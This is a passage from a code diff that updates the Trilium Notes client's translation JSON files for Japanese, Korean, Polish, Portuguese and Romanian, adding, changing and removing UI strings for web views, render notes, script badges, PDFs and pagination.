-    "note_detail_render_help_2": "レンダリングHTMLノートタイプは、<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">スクリプティング</a>に使用されます。簡単に言うと、HTMLコードノート（オプションでJavaScriptを含む）があり、このノートがそれをレンダリングします。これを動作させるには、レンダリングするHTMLノートを指す「renderNote」という<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">リレーション</a>を定義する必要があります。"
-  },
  "consistency_checks": {
    "find_and_fix_button": "一貫性の問題を見つけて修正する",
    "finding_and_fixing_message": "一貫性の問題を見つけて修正中…",
@@ -1955,7 +1951,9 @@
    "print_report_title": "レポートを印刷",
    "print_report_collection_content_other": "コレクション内の {{count}} 件のノートは、サポートされていないか保護されているため、印刷できませんでした。",
    "print_report_collection_details_button": "詳細を見る",
-    "print_report_collection_details_ignored_notes": "無視されたノート"
+    "print_report_collection_details_ignored_notes": "無視されたノート",
+    "print_report_error_title": "印刷に失敗しました",
+    "print_report_stack_trace": "スタックトレース"
  },
  "watched_file_update_status": {
    "ignore_this_change": "この変更を無視する",
@@ -2008,7 +2006,8 @@
  "geo-map": {
    "create-child-note-title": "新しい子ノートを作成し、マップに追加する",
    "create-child-note-instruction": "地図をクリックしてその場所に新しいノートを作成するか、Esc キーを押して閉じます。",
-    "unable-to-load-map": "マップを読み込めません。"
+    "unable-to-load-map": "マップを読み込めません。",
+    "create-child-note-text": "マーカーを追加"
  },
  "geo-map-context": {
    "open-location": "現在位置を表示",
@@ -2037,14 +2036,15 @@
    "show-scale": "スケールを表示",
    "raster": "Raster",
    "vector_light": "Vector（ライト）",
-    "vector_dark": "Vector （ダーク）"
+    "vector_dark": "Vector （ダーク）",
+    "show-labels": "マーカー名を表示"
  },
  "call_to_action": {
    "next_theme_title": "新しいTriliumテーマをお試しください",
    "next_theme_message": "現在、レガシーテーマを使用しています。新しいテーマを試してみませんか?",
    "next_theme_button": "新しいテーマを試す",
    "background_effects_title": "背景効果が安定しました",
-    "background_effects_message": "Windowsデバイスでは、背景効果が完全に安定しました。背景効果は、背景をぼかすことでユーザーインターフェースに彩りを添えます。この技術は、Windowsエクスプローラーなどの他のアプリケーションでも使用されています。",
+    "background_effects_message": "WindowsおよびmacOSデバイスで、背景効果が安定しました。背景効果は、背景をぼかすことでユーザーインターフェースに彩りを添えます。",
    "background_effects_button": "背景効果を有効にする",
    "dismiss": "却下",
    "new_layout_title": "新しいレイアウト",
@@ -2065,8 +2065,9 @@
    "percentage": "%"
  },
  "pagination": {
-    "page_title": "{{startIndex}} - {{endIndex}} ページ",
-    "total_notes": "{{count}} ノート"
+    "total_notes": "{{count}} ノート",
+    "prev_page": "前のページ",
+    "next_page": "次のページ"
  },
  "collections": {
    "rendering_error": "エラーのためコンテンツを表示できません。"
@@ -2094,7 +2095,7 @@
    "no_attachments": "このノートには添付ファイルはありません。"
  },
  "book": {
-    "no_children_help": "このコレクションには子ノートがないため、表示するものがありません。詳細は<a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a>をご覧ください。",
+    "no_children_help": "このコレクションには子ノートがないため、表示するものがありません。",
    "drag_locked_title": "編集をロック中",
    "drag_locked_message": "コレクションは編集がロックされているため、ドラッグは許可されていません。"
  },
@@ -2253,5 +2254,59 @@
    "pages_other": "{{count}} ページ",
    "pages_alt": "ページ {{pageNumber}}",
    "pages_loading": "読み込み中..."
+  },
+  "platform_indicator": {
+    "available_on": "{{platform}} で利用可能"
+  },
+  "mobile_tab_switcher": {
+    "title_other": "{{count}} タブ",
+    "more_options": "その他のオプション"
+  },
+  "bookmark_buttons": {
+    "bookmarks": "ブックマーク"
+  },
+  "web_view_setup": {
+    "title": "Trilium に直接 Web ページのライブビューを作成",
+    "url_placeholder": "Web サイトのアドレスを入力または貼り付けて下さい。 例: https://triliumnotes.org",
+    "create_button": "Web ビューを作成",
+    "invalid_url_title": "無効なアドレス",
+    "invalid_url_message": "有効な Web アドレスを入力してください。 例: https://triliumnotes.org",
+    "disabled_description": "この Web ビューは外部ソースからインポートされました。フィッシングや悪意のあるコンテンツから保護するため、自動的には読み込まれません。ソースを信頼できる場合は、有効にすることができます。",
+    "disabled_button_enable": "Web ビューを有効"
+  },
+  "render": {
+    "setup_title": "このノート内にカスタム HTML または Preact JSX を表示",
+    "setup_create_sample_preact": "Preact でサンプルノートを作成",
+    "setup_create_sample_html": "HTML でサンプルノートを作成",
+    "setup_sample_created": "子ノートとしてサンプルノートが作成されました。",
+    "disabled_description": "このレンダリングノートは外部ソースから提供されています。悪意のあるコンテンツからユーザーを保護するため、デフォルトでは有効になっていません。有効にする前に、ソースが信頼できるかどうかをご確認ください。",
+    "disabled_button_enable": "レンダリングノートを有効"
+  },
+  "active_content_badges": {
+    "type_icon_pack": "アイコンパック",
+    "type_backend_script": "バックエンドスクリプト",
+    "type_frontend_script": "フロントエンドスクリプト",
+    "type_widget": "ウィジェット",
+    "type_app_css": "カスタム CSS",
+    "type_render_note": "レンダリングノート",
+    "type_web_view": "Web ビュー",
+    "type_app_theme": "カスタムテーマ",
+    "toggle_tooltip_enable_tooltip": "この {{type}} を有効にするにはクリックしてください。",
+    "toggle_tooltip_disable_tooltip": "この {{type}} を無効にするにはクリックしてください。",
+    "menu_docs": "ドキュメントを開く",
+    "menu_execute_now": "今すぐスクリプトを実行",
+    "menu_run": "自動で実行",
+    "menu_run_disabled": "手動で実行",
+    "menu_run_backend_startup": "バックエンドの起動時",
+    "menu_run_hourly": "毎時",
+    "menu_run_daily": "毎日",
+    "menu_run_frontend_startup": "デスクトップ フロントエンドの起動時",
+    "menu_run_mobile_startup": "モバイル フロントエンドの起動時",
+    "menu_change_to_widget": "ウィジェットの変更",
+    "menu_change_to_frontend_script": "フロントエンドスクリプトの変更",
+    "menu_theme_base": "テーマベース"
+  },
+  "setup_form": {
+    "more_info": "さらに詳しく"
  }
 }
--- a/apps/client/src/translations/ko/translation.json
+++ b/apps/client/src/translations/ko/translation.json
@@ -21,8 +21,17 @@
    },
    "bundle-error": {
      "title": "사용자 정의 스크립트를 불러오는데 실패했습니다",
-      "message": "ID가 \"{{id}}\"고, 제목이 \"{{title}}\"인 노트에서 스크립트가 실행되지 못했습니다:\n\n{{message}}"
-    }
+      "message": "다음 이유로 인해 스크립트가 실행되지 못했습니다:\n\n{{message}}"
+    },
+    "widget-list-error": {
+      "title": "서버에서 위젯 목록을 가져오는 데 실패했습니다"
+    },
+    "widget-render-error": {
+      "title": "사용자 정의 React 위젯을 렌더링하는 데 실패했습니다"
+    },
+    "widget-missing-parent": "사용자 정의 위젯에 필수 속성 '{{property}}'가 정의되어 있지 않습니다.\n\n이 스크립트를 UI 요소 없이 실행하려면 '#run=frontendStartup'을 대신 사용하십시오.",
+    "open-script-note": "스크립트 노트 열기",
+    "scripting-error": "사용자 지정 스크립트 오류: {{title}}"
  },
  "add_link": {
    "add_link": "링크 추가",
@@ -41,7 +50,8 @@
    "prefix": "접두사: ",
    "branch_prefix_saved": "브랜치 접두사가 저장되었습니다.",
    "edit_branch_prefix_multiple": "{{count}}개의 지점 접두사 편집",
-    "branch_prefix_saved_multiple": "{{count}}개의 지점에 대해 지점 접두사가 저장되었습니다."
+    "branch_prefix_saved_multiple": "{{count}}개의 지점에 대해 지점 접두사가 저장되었습니다.",
+    "affected_branches": "영향을 받는 브랜치 수 ({{count}}):"
  },
  "bulk_actions": {
    "bulk_actions": "대량 작업",
@@ -64,10 +74,44 @@
    "first-week-contains-first-day": "첫 번째 주에는 올해의 첫날이 포함됩니다"
  },
  "clone_to": {
-    "clone_notes_to": "~로 노트 복제",
+    "clone_notes_to": "노트 클론하기...",
    "help_on_links": "링크에 대한 도움말",
    "notes_to_clone": "노트 클론 생성",
    "target_parent_note": "부모 노트 타겟",
-    "search_for_note_by_its_name": "이름으로 노트 검색하기"
+    "search_for_note_by_its_name": "이름으로 노트 검색하기",
+    "no_path_to_clone_to": "클론할 경로가 존재하지 않습니다.",
+    "note_cloned": "노트 \"{{clonedTitle}}\"이(가) \"{{targetTitle}}\"로 클론되었습니다",
+    "cloned_note_prefix_title": "클론된 노트는 지정된 접두사와 함께 노트 트리에 표시됩니다"
+  },
+  "confirm": {
+    "confirmation": "확인",
+    "cancel": "취소",
+    "ok": "OK",
+    "are_you_sure_remove_note": "관계 맵에서 \"{{title}}\" 노트를 정말로 제거하시겠습니까? "
+  },
+  "delete_notes": {
+    "erase_notes_description": "일반(소프트) 삭제는 메모를 삭제된 것으로 표시하는 것일 뿐이며, 일정 시간 동안 (최근 변경 내용 대화 상자에서) 복구할 수 있습니다. 이 옵션을 선택하면 메모가 즉시 삭제되며 복구할 수 없습니다.",
+    "erase_notes_warning": "모든 복제본을 포함하여 메모를 영구적으로 삭제합니다(이 작업은 되돌릴 수 없습니다). 애플리케이션이 다시 시작됩니다.",
+    "notes_to_be_deleted": "다음 노트가 삭제됩니다 ({{notesCount}})",
+    "no_note_to_delete": "삭제되는 노트가 없습니다 (클론만 삭제됩니다).",
+    "broken_relations_to_be_deleted": "다음 관계가 끊어지고 삭제됩니다({{ relationCount}})",
+    "cancel": "취소",
+    "ok": "OK",
+    "deleted_relation_text": "삭제 예정인 노트 {{- note}} (은)는 {{- source}}에서 시작된 관계 {{- relation}}에 의해 참조되고 있습니다."
+  },
+  "export": {
+    "export_note_title": "노트 내보내기",
+    "export_type_single": "이 노트에만 해당(후손 노트를 포함하지 않음)",
+    "export": "내보내기",
+    "choose_export_type": "내보내기 타입을 선택해 주세요",
+    "export_status": "상태 내보내기",
+    "export_in_progress": "내보내기 진행 중: {{progressCount}}",
+    "export_finished_successfully": "내보내기를 성공적으로 완료했습니다.",
+    "format_pdf": "PDF - 인쇄 또는 공유용",
+    "share-format": "웹 게시용 HTML - 공유 노트에 사용되는 것과 동일한 테마를 사용하지만 정적 웹사이트로 게시할 수 있습니다."
+  },
+  "help": {
+    "title": "치트 시트",
+    "editShortcuts": "키보드 단축키 편집"
  }
 }
--- a/apps/client/src/translations/pl/translation.json
+++ b/apps/client/src/translations/pl/translation.json
@@ -21,7 +21,7 @@
    },
    "bundle-error": {
      "title": "Nie udało się załadować niestandardowego skryptu",
-      "message": "Skrypt z notatki o ID \"{{id}}\", zatytułowany \"{{title}}\", nie mógł zostać wykonany z powodu:\n\n{{message}}"
+      "message": "Skrypt nie mógł zostać wykonany z powodu:\n\n{{message}}"
    },
    "widget-list-error": {
      "title": "Nie udało się pobrać listy widżetów z serwera"
@@ -29,8 +29,9 @@
    "widget-render-error": {
      "title": "Nie udało się wyrenderować niestandardowego widżetu React"
    },
-    "widget-missing-parent": "Niestandardowy widżet nie ma zdefiniowanej obowiązkowej właściwości „{{property}}”.",
-    "open-script-note": "Otwórz notatkę ze skryptem"
+    "widget-missing-parent": "Niestandardowy widżet nie ma zdefiniowanej obowiązkowej właściwości „{{property}}”.\nJeśli skrypt ma działać bez interfejsu użytkownika (UI) wyłącz go:  '#run=frontendStartup'.",
+    "open-script-note": "Otwórz notatkę ze skryptem",
+    "scripting-error": "Błąd skryptu użytkownika: {{title}}"
  },
  "add_link": {
    "add_link": "Dodaj link",
@@ -191,7 +192,8 @@
    "expand_tooltip": "Rozwija bezpośrednie elementy podrzędne tej kolekcji (o jeden poziom). Aby uzyskać więcej opcji, naciśnij strzałkę po prawej.",
    "expand_first_level": "Rozwiń bezpośrednie elementy podrzędne",
    "expand_nth_level": "Rozwiń {{depth}} poziomów",
-    "expand_all_levels": "Rozwiń wszystkie poziomy"
+    "expand_all_levels": "Rozwiń wszystkie poziomy",
+    "hide_child_notes": "Ukryj notatki podrzędne w derzwie"
  },
  "board_view": {
    "move-to": "Przenieś do",
@@ -240,7 +242,7 @@
    "background_effects_title": "Efekty tła są teraz stabilne",
    "dismiss": "Odrzuć",
    "background_effects_button": "Włącz efekty tła",
-    "background_effects_message": "Na urządzeniach z systemem Windows efekty tła są teraz w pełni stabilne. Efekty tła dodają odrobinę koloru do interfejsu użytkownika poprzez rozmycie tła za nim. Ta technika jest również stosowana w innych aplikacjach, takich jak Eksplorator Windows.",
+    "background_effects_message": "Na urządzeniach z systemem Windows i macOS efekty tła są stabilne. Efekty tła dodają odrobinę koloru do interfejsu użytkownika poprzez rozmycie tła za nim.",
    "new_layout_title": "Nowy układ",
    "new_layout_message": "Wprowadziliśmy zmodernizowany układ interfejsu dla Trilium. Wstążka została usunięta i płynnie zintegrowana z głównym interfejsem, a jej kluczowe funkcje przejęły nowy pasek stanu i rozwijane sekcje (takie jak promowane atrybuty).\n\nNowy układ jest domyślnie włączony i można go tymczasowo wyłączyć w Ustawienia → Wygląd.",
    "new_layout_button": "Szczegóły"
@@ -259,7 +261,6 @@
    "percentage": "%"
  },
  "pagination": {
-    "page_title": "Strona {{startIndex}} - {{endIndex}}",
    "total_notes": "{{count}} notatek"
  },
  "collections": {
@@ -520,7 +521,8 @@
    "action": "akcja",
    "search_button": "Szukaj",
    "search_execute": "Szukaj i wykonaj akcje",
-    "view_options": "Ustawienia widoku:"
+    "view_options": "Ustawienia widoku:",
+    "option": "opcja"
  },
  "similar_notes": {
    "title": "Podobne notatki",
@@ -602,8 +604,8 @@
    "desktop-application": "Aplikacja desktopowa",
    "native-title-bar": "Natywny pasek tytułu",
    "native-title-bar-description": "Dla Windows i macOS, wyłączenie natywnego paska tytułu sprawia, że aplikacja wygląda bardziej kompaktowo. Na Linuxie, włączenie natywnego paska tytułu lepiej integruje się z resztą systemu.",
-    "background-effects": "Włącz efekty tła (tylko Windows 11)",
-    "background-effects-description": "Efekt Mica dodaje rozmyte, stylowe tło do okien aplikacji, tworząc głębię i nowoczesny wygląd. \"Natywny pasek tytułu\" musi być wyłączony.",
+    "background-effects": "Włącz efekty tła",
+    "background-effects-description": "Dodaje rozmyte, stylowe tło do okien aplikacji, tworząc głębię i nowoczesny wygląd. \"Natywny pasek tytułu\" musi być wyłączony.",
    "restart-app-button": "Zrestartuj aplikację, aby zobaczyć zmiany",
    "zoom-factor": "Współczynnik powiększenia"
  },
@@ -1182,7 +1184,8 @@
    "show-cheatsheet": "Pokaż ściągawkę",
    "toggle-zen-mode": "Tryb Zen",
    "new-version-available": "Dostępna nowa aktualizacja",
-    "download-update": "Pobierz wersję {{latestVersion}}"
+    "download-update": "Pobierz wersję {{latestVersion}}",
+    "search_notes": "Przeszukaj notatki"
  },
  "zen_mode": {
    "button_exit": "Wyjdź z trybu Zen"
@@ -1265,7 +1268,7 @@
    "button_title": "Eksportuj diagram jako SVG"
  },
  "relation_map_buttons": {
-    "create_child_note_title": "Utwórz nową notatkę podrzędną i dodaj ją do tej mapy relacji",
+    "create_child_note_title": "Utwórz notatkę podrzędną i dodaj ją do mapy",
    "reset_pan_zoom_title": "Zresetuj przesunięcie i powiększenie do początkowych współrzędnych i powiększenia",
    "zoom_in_title": "Powiększ",
    "zoom_out_title": "Pomniejsz"
@@ -1281,12 +1284,23 @@
    "delete_this_note": "Usuń tę notatkę",
    "note_revisions": "Wersje notatki",
    "error_cannot_get_branch_id": "Nie można pobrać branchId dla ścieżki notatki '{{notePath}}'",
-    "error_unrecognized_command": "Nierozpoznane polecenie {{command}}"
+    "error_unrecognized_command": "Nierozpoznane polecenie {{command}}",
+    "backlinks": "Linki zwrotne",
+    "content_language_switcher": "Język treści: {{language}}"
  },
  "note_icon": {
    "change_note_icon": "Zmień ikonę notatki",
    "search": "Szukaj:",
-    "reset-default": "Przywróć domyślną ikonę"
+    "reset-default": "Przywróć domyślną ikonę",
+    "search_placeholder_one": "Znaleziono {{number}} ikonę w {{count}} pakietach",
+    "search_placeholder_few": "Znaleziono {{number}} ikon w {{count}} pakietach",
+    "search_placeholder_many": "Znaleziono {{number}} ikon w {{count}} pakietach",
+    "search_placeholder_filtered": "Wyszukaj {{number}} ikon w {{name}}",
+    "filter": "Filtr",
+    "filter-none": "Wszystkie ikony",
+    "filter-default": "Domyślne ikony",
+    "icon_tooltip": "{{name}}\npakiet ikon: {{iconPack}}",
+    "no_results": "Nie znaleziono ikon."
  },
  "basic_properties": {
    "note_type": "Typ notatki",
@@ -1417,15 +1431,6 @@
    "default_new_note_title": "nowa notatka",
    "click_on_canvas_to_place_new_note": "Kliknij na płótnie, aby umieścić nową notatkę"
  },
-  "render": {
-    "note_detail_render_help_1": "Ta notatka pomocy jest wyświetlana, ponieważ ta notatka typu Render HTML nie ma wymaganej relacji do poprawnego działania.",
-    "note_detail_render_help_2": "Typ notatki Render HTML jest używany do <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">skryptowania</a>. W skrócie, masz notatkę kodu HTML (opcjonalnie z JavaScript) i ta notatka ją wyrenderuje. Aby to zadziałało, musisz zdefiniować <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relację</a> o nazwie \"renderNote\" wskazującą na notatkę HTML do wyrenderowania."
-  },
-  "web_view": {
-    "web_view": "Widok WWW",
-    "embed_websites": "Notatka typu Widok WWW pozwala na osadzanie stron internetowych w Trilium.",
-    "create_label": "Aby rozpocząć, utwórz etykietę z adresem URL, który chcesz osadzić, np. #webViewSrc=\"https://www.google.com\""
-  },
  "backend_log": {
    "refresh": "Odśwież"
  },
@@ -1826,7 +1831,7 @@
    "will_be_deleted_in": "Ten załącznik zostanie automatycznie usunięty za {{time}}",
    "will_be_deleted_soon": "Ten załącznik zostanie wkrótce automatycznie usunięty",
    "deletion_reason": ", ponieważ załącznik nie jest podlinkowany w treści notatki. Aby zapobiec usunięciu, dodaj link do załącznika z powrotem do treści lub przekonwertuj załącznik na notatkę.",
-    "role_and_size": "Rola: {{role}}, Rozmiar: {{size}}",
+    "role_and_size": "Rola: {{role}}, Rozmiar: {{size}}, MIME: {{- mimeType}}",
    "link_copied": "Link do załącznika skopiowany do schowka.",
    "unrecognized_role": "Nierozpoznana rola załącznika '{{role}}'."
  },
@@ -1880,7 +1885,10 @@
    "apply-bulk-actions": "Zastosuj akcje masowe",
    "converted-to-attachments": "{{count}} notatek zostało przekonwertowanych na załączniki.",
    "convert-to-attachment-confirm": "Czy na pewno chcesz przekonwertować wybrane notatki na załączniki ich notatek nadrzędnych? Ta operacja dotyczy tylko notatek Obrazów, inne notatki zostaną pominięte.",
-    "open-in-popup": "Szybka edycja"
+    "open-in-popup": "Szybka edycja",
+    "open-in-a-new-window": "Otwórz w nowym oknie",
+    "hide-subtree": "Ukryj gałąź",
+    "show-subtree": "Rozwiń gałąź"
  },
  "shared_info": {
    "shared_publicly": "Ta notatka jest udostępniona publicznie pod adresem {{- link}}.",
@@ -1971,7 +1979,17 @@
    "create-child-note": "Utwórz notatkę podrzędną",
    "unhoist": "Cofnij zawężenie",
    "toggle-sidebar": "Przełącz pasek boczny",
-    "dropping-not-allowed": "Upuszczanie notatek w tej lokalizacji jest niedozwolone."
+    "dropping-not-allowed": "Upuszczanie notatek w tej lokalizacji jest niedozwolone.",
+    "clone-indicator-tooltip": "Ta notatka ma {{- count}} notatek nadrzędnych: {{- parents}}",
+    "clone-indicator-tooltip-single": "Ta notatka jest sklonowana (1 dodatkowa notatka nadrzędna: {{- parent}})",
+    "shared-indicator-tooltip": "Ta notatka jest udostępniona publicznie",
+    "shared-indicator-tooltip-with-url": "Ta notatka jest udostępniana publicznie jako: {{- url}}",
+    "subtree-hidden-tooltip_one": "{{count}} notatka podrzędna ukryta w drzewie",
+    "subtree-hidden-tooltip_few": "{{count}} notatek podrzędnych ukrytych w drzewie",
+    "subtree-hidden-tooltip_many": "{{count}} notatek podrzędnych ukrytych w drzewie",
+    "subtree-hidden-moved-title": "Dodano do {{title}}",
+    "subtree-hidden-moved-description-collection": "Ta kolekcja ukrywa swoje notatki podrzędne w drzewie.",
+    "subtree-hidden-moved-description-other": "Notatki podrzędne są ukryte w drzewie tej notatki."
  },
  "title_bar_buttons": {
    "window-on-top": "Utrzymuj okno na wierzchu"
@@ -1979,7 +1997,13 @@
  "note_detail": {
    "could_not_find_typewidget": "Nie można znaleźć widżetu typu dla typu '{{type}}'",
    "printing": "Drukowanie w toku...",
-    "printing_pdf": "Eksportowanie do PDF w toku..."
+    "printing_pdf": "Eksportowanie do PDF w toku...",
+    "print_report_title": "Wydrukuj raport",
+    "print_report_collection_content_one": "Nie można wydrukować {{count}} notatki w kolekcji, ponieważ nie jest ona obsługiwana lub jest chroniona.",
+    "print_report_collection_content_few": "Nie można wydrukować {{count}} notatek w kolekcji, ponieważ nie są one obsługiwane lub są chronione.",
+    "print_report_collection_content_many": "Nie można wydrukować {{count}} notatek w kolekcji, ponieważ nie są one obsługiwane lub są chronione.",
+    "print_report_collection_details_button": "Zobacz szczegóły",
+    "print_report_collection_details_ignored_notes": "Zignorowane notatki"
  },
  "note_title": {
    "placeholder": "wpisz tytuł notatki tutaj...",
@@ -1989,7 +2013,8 @@
    "note_type_switcher_others": "Inny typ notatki",
    "note_type_switcher_templates": "Szablon",
    "note_type_switcher_collection": "Kolekcja",
-    "edited_notes": "Edytowane notatki"
+    "edited_notes": "Notatki edytowane dzisiaj",
+    "promoted_attributes": "Sugerowane atrybuty"
  },
  "search_result": {
    "no_notes_found": "Nie znaleziono notatek dla podanych parametrów wyszukiwania.",
@@ -1999,7 +2024,11 @@
    "configure_launchbar": "Konfiguruj pasek szybkiego dostępu"
  },
  "sql_result": {
-    "no_rows": "Dla tego zapytania nie zwrócono żadnych wierszy"
+    "no_rows": "Dla tego zapytania nie zwrócono żadnych wierszy",
+    "not_executed": "Zapytanie nie zostało jeszcze wykonane.",
+    "failed": "Wykonanie zapytania SQL nie powiodło się",
+    "statement_result": "Wynik wyrażenia",
+    "execute_now": "Wykonaj teraz"
  },
  "sql_table_schemas": {
    "tables": "Tabele"
@@ -2116,7 +2145,8 @@
  "geo-map": {
    "create-child-note-title": "Utwórz nową notatkę podrzędną i dodaj ją do mapy",
    "create-child-note-instruction": "Kliknij na mapie, aby utworzyć nową notatkę w tej lokalizacji lub naciśnij Escape, aby anulować.",
-    "unable-to-load-map": "Nie można załadować mapy."
+    "unable-to-load-map": "Nie można załadować mapy.",
+    "create-child-note-text": "Dodaj zaznaczenie"
  },
  "geo-map-context": {
    "open-location": "Otwórz lokalizację",
@@ -2183,7 +2213,14 @@
    "execute_sql_description": "Ta notatka jest notatką SQL. Kliknij, aby wykonać zapytanie SQL.",
    "shared_copy_to_clipboard": "Kopiuj link do schowka",
    "shared_open_in_browser": "Otwórz link w przeglądarce",
-    "shared_unshare": "Usuń udostępnienie"
+    "shared_unshare": "Usuń udostępnienie",
+    "save_status_saved": "Zapisane",
+    "save_status_saving": "Zapisywanie...",
+    "save_status_unsaved": "Niezapisane",
+    "save_status_error": "Zapis nie powiódł się",
+    "save_status_saving_tooltip": "Zmiany zostały zapisane.",
+    "save_status_unsaved_tooltip": "Są niezapisane zmiany. Zostaną one zapisane automatycznie za chwilę.",
+    "save_status_error_tooltip": "Wystąpił błąd podczas zapisywania notatki. Spróbuj skopiować treść notatki w inne miejsce i ponownie załadować aplikację."
  },
  "status_bar": {
    "language_title": "Zmień język treści",
@@ -2226,5 +2263,30 @@
    "empty_button": "Ukryj panel",
    "toggle": "Pokaż/ukryj prawy panel",
    "custom_widget_go_to_source": "Przejdź do kodu źródłowego"
+  },
+  "pdf": {
+    "attachments_one": "{{count}} załącznik",
+    "attachments_few": "{{count}} załączniki",
+    "attachments_many": "{{count}} załączników",
+    "layers_one": "{{count}} warstwa",
+    "layers_few": "{{count}} warstw",
+    "layers_many": "{{count}} warstw",
+    "pages_one": "{{count}} strona",
+    "pages_few": "{{count}} stron",
+    "pages_many": "{{count}} stron",
+    "pages_alt": "Strona {{pageNumber}}",
+    "pages_loading": "Wczytuję..."
+  },
+  "platform_indicator": {
+    "available_on": "Dostępne na {{platform}}"
+  },
+  "mobile_tab_switcher": {
+    "title_one": "{{count}} zakładka",
+    "title_few": "{{count}} zakładki",
+    "title_many": "{{count}} zakładek",
+    "more_options": "Więcej opcji"
+  },
+  "bookmark_buttons": {
+    "bookmarks": "Zakładki"
  }
 }
--- a/apps/client/src/translations/pt/translation.json
+++ b/apps/client/src/translations/pt/translation.json
@@ -1064,15 +1064,6 @@
    "default_new_note_title": "nova nota",
    "click_on_canvas_to_place_new_note": "Clique no quadro para incluir uma nova nota"
  },
-  "render": {
-    "note_detail_render_help_1": "Esta nota de ajuda é mostrada porque esta nota do tipo Renderizar HTML não possui a relação necessária para funcionar corretamente.",
-    "note_detail_render_help_2": "O tipo de nota Renderizar HTML é usado para <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">automação</a>. Em suma, tem uma nota de código HTML (opcionalmente com algum JavaScript) e esta nota irá renderizá-la. Para fazê-lo funcionar, deve definir uma <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relação</a> chamada \"renderNote\" que aponta para a nota HTML a ser renderizada."
-  },
-  "web_view": {
-    "web_view": "Web View",
-    "embed_websites": "Nota do tipo Visualização Web permite que incorpore sites no Trilium.",
-    "create_label": "Para começar, crie uma etiqueta com um endereço URL que deseja incorporar, por exemplo, #webViewSrc=\"https://www.google.com\""
-  },
  "backend_log": {
    "refresh": "Recarregar"
  },
@@ -2174,7 +2165,6 @@
    "delete_note": "Apagar nota..."
  },
  "pagination": {
-    "page_title": "Página {{startIndex}} - {{endIndex}}",
    "total_notes": "{{count}} notas"
  },
  "collections": {
--- a/apps/client/src/translations/pt_br/translation.json
+++ b/apps/client/src/translations/pt_br/translation.json
@@ -1271,11 +1271,6 @@
    "start_dragging_relations": "Comece arrastando as relações daqui e solte-as em outra nota.",
    "cannot_match_transform": "Não foi possível combinar a transformação: {{transform}}"
  },
-  "web_view": {
-    "web_view": "Web View",
-    "embed_websites": "Nota do tipo Visualização Web permite que você incorpore sites dentro do Trilium.",
-    "create_label": "Para começar, crie uma etiqueta com um endereço URL que deseja incorporar, por exemplo, #webViewSrc=\"https://www.google.com\""
-  },
  "backend_log": {
    "refresh": "Recarregar"
  },
@@ -1996,10 +1991,6 @@
    "drag_locked_title": "Bloqueado para edição",
    "drag_locked_message": "Arrastar não é permitido pois a coleção está bloqueada para edição."
  },
-  "render": {
-    "note_detail_render_help_1": "Esta nota de ajuda é mostrada porque esta nota do tipo Renderizar HTML não possui a relação necessária para funcionar corretamente.",
-    "note_detail_render_help_2": "O tipo de nota Renderizar HTML é usado para <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">automação</a>. Em suma, você tem uma nota de código HTML (opcionalmente com algum JavaScript) e esta nota irá renderizá-la. Para fazê-lo funcionar, você precisa definir uma <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relação</a> chamada \"renderNote\" apontando para a nota HTML a ser renderizada."
-  },
  "etapi": {
    "title": "ETAPI",
    "description": "ETAPI é uma API REST usada para acessar a instância do Trilium programaticamente, sem interface gráfica.",
@@ -2124,7 +2115,6 @@
    "shared_locally": "Esta nota é compartilhada localmente em {{- link}}."
  },
  "pagination": {
-    "page_title": "Página de {{startIndex}} - {{endIndex}}",
    "total_notes": "{{count}} notas"
  },
  "collections": {
--- a/apps/client/src/translations/ro/translation.json
+++ b/apps/client/src/translations/ro/translation.json
@@ -1094,10 +1094,6 @@
    "rename_relation_from": "Redenumește relația din",
    "to": "În"
  },
-  "render": {
-    "note_detail_render_help_1": "Această notă informativă este afișată deoarece această notiță de tip „Randare HTML” nu are relația necesară pentru a funcționa corespunzător.",
-    "note_detail_render_help_2": "Notița de tipul „Render HTML” este utilizată pentru <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scriptare</a>. Pe scurt, se folosește o notiță de tip cod HTML (opțional cu niște JavaScript) și această notiță o va randa. Pentru a funcționa, trebuie definită o <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relație</a> denumită „renderNote” ce indică notița HTML de randat."
-  },
  "revisions": {
    "confirm_delete": "Doriți ștergerea acestei revizii?",
    "confirm_delete_all": "Doriți ștergerea tuturor reviziilor acestei notițe?",
@@ -1376,11 +1372,6 @@
    "enable_vim_keybindings": "Permite utilizarea combinațiilor de taste în stil Vim pentru notițele de tip cod (fără modul ex)",
    "use_vim_keybindings_in_code_notes": "Combinații de taste Vim"
  },
-  "web_view": {
-    "create_label": "Pentru a începe, creați o etichetă cu adresa URL de încorporat, e.g. #webViewSrc=\"https://www.google.com\"",
-    "embed_websites": "Notițele de tip „Vizualizare web” permit încorporarea site-urilor web în Trilium.",
-    "web_view": "Vizualizare web"
-  },
  "wrap_lines": {
    "enable_line_wrap": "Activează trecerea automată pe rândul următor (poate necesita o reîncărcare a interfeței pentru a avea efect)",
    "wrap_lines_in_code_notes": "Trecerea automată pe rândul următor în notițe de cod"
@@ -1761,8 +1752,8 @@
    "show-recent-notes": "Afișează notițele recente"
  },
  "electron_integration": {
-    "background-effects": "Activează efectele de fundal (doar pentru Windows 11)",
-    "background-effects-description": "Efectul Mica adaugă un fundal estompat și elegant ferestrelor aplicațiilor, creând profunzime și un aspect modern. Opțiunea „Bară de titlu nativă” trebuie să fie dezactivată.",
+    "background-effects": "Activează efectele de fundal",
+    "background-effects-description": "Adaugă un fundal estompat și elegant ferestrelor aplicațiilor, creând profunzime și un aspect modern. Opțiunea „Bară de titlu nativă” trebuie să fie dezactivată.",
    "desktop-application": "Aplicația desktop",
    "native-title-bar": "Bară de titlu nativă",
    "native-title-bar-description": "Pentru Windows și macOS, dezactivarea bării de titlu native face aplicația să pară mai compactă. Pe Linux, păstrarea bării integrează mai bine aplicația cu restul sistemului de operare.",
@@ -1781,7 +1772,8 @@
  "geo-map": {
    "create-child-note-title": "Crează o notiță nouă și adaug-o pe hartă",
